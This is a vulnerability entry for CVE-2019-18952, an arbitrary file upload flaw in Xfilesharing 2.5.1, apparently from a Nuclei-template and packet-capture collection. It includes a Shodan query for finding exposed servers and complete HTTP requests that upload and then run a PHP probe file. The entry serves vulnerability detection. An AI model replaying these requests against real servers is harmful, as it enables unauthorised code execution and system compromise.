| Title | Xfilesharing 2.5.1 - Arbitrary File Upload |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Attackers can upload malicious files and execute arbitrary code remotely, leading to full system compromise. |
| Remediation | Apply the latest security patches and updates from the vendor to address this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.79908 |
| CVE ID | CVE-2019-18952 |
| CWE ID | CWE-434 |
| Shodan Query | html:"/?op=registration" "OpenSSL" |
| Tags | cve cve2019 sibsoft xfilesharing rce file-upload intrusive vkev vuln |
SibSoft Xfilesharing through 2.5.1 allows cgi-bin/up.cgi arbitrary file upload.This can be combined with CVE-2019-18951 to achieve remote code execution via a .html file, containing short codes, that is served over HTTP.
POST /cgi-bin/up.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Connection: close
Content-Length: 388
Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
-----------------------------5825462663702204104870787337
Content-Disposition: form-data; name="sid"
wp-admin/
-----------------------------5825462663702204104870787337
Content-Disposition: form-data; name="file"; filename="eyudXCMU.php"
Content-Type: application/php
<?php
echo md5('9030');
unlink(__FILE__);
?>
-----------------------------5825462663702204104870787337--
GET /cgi-bin/temp/wp-admin//eyudXCMU.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-18952.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-18952.pcap
N/AN/A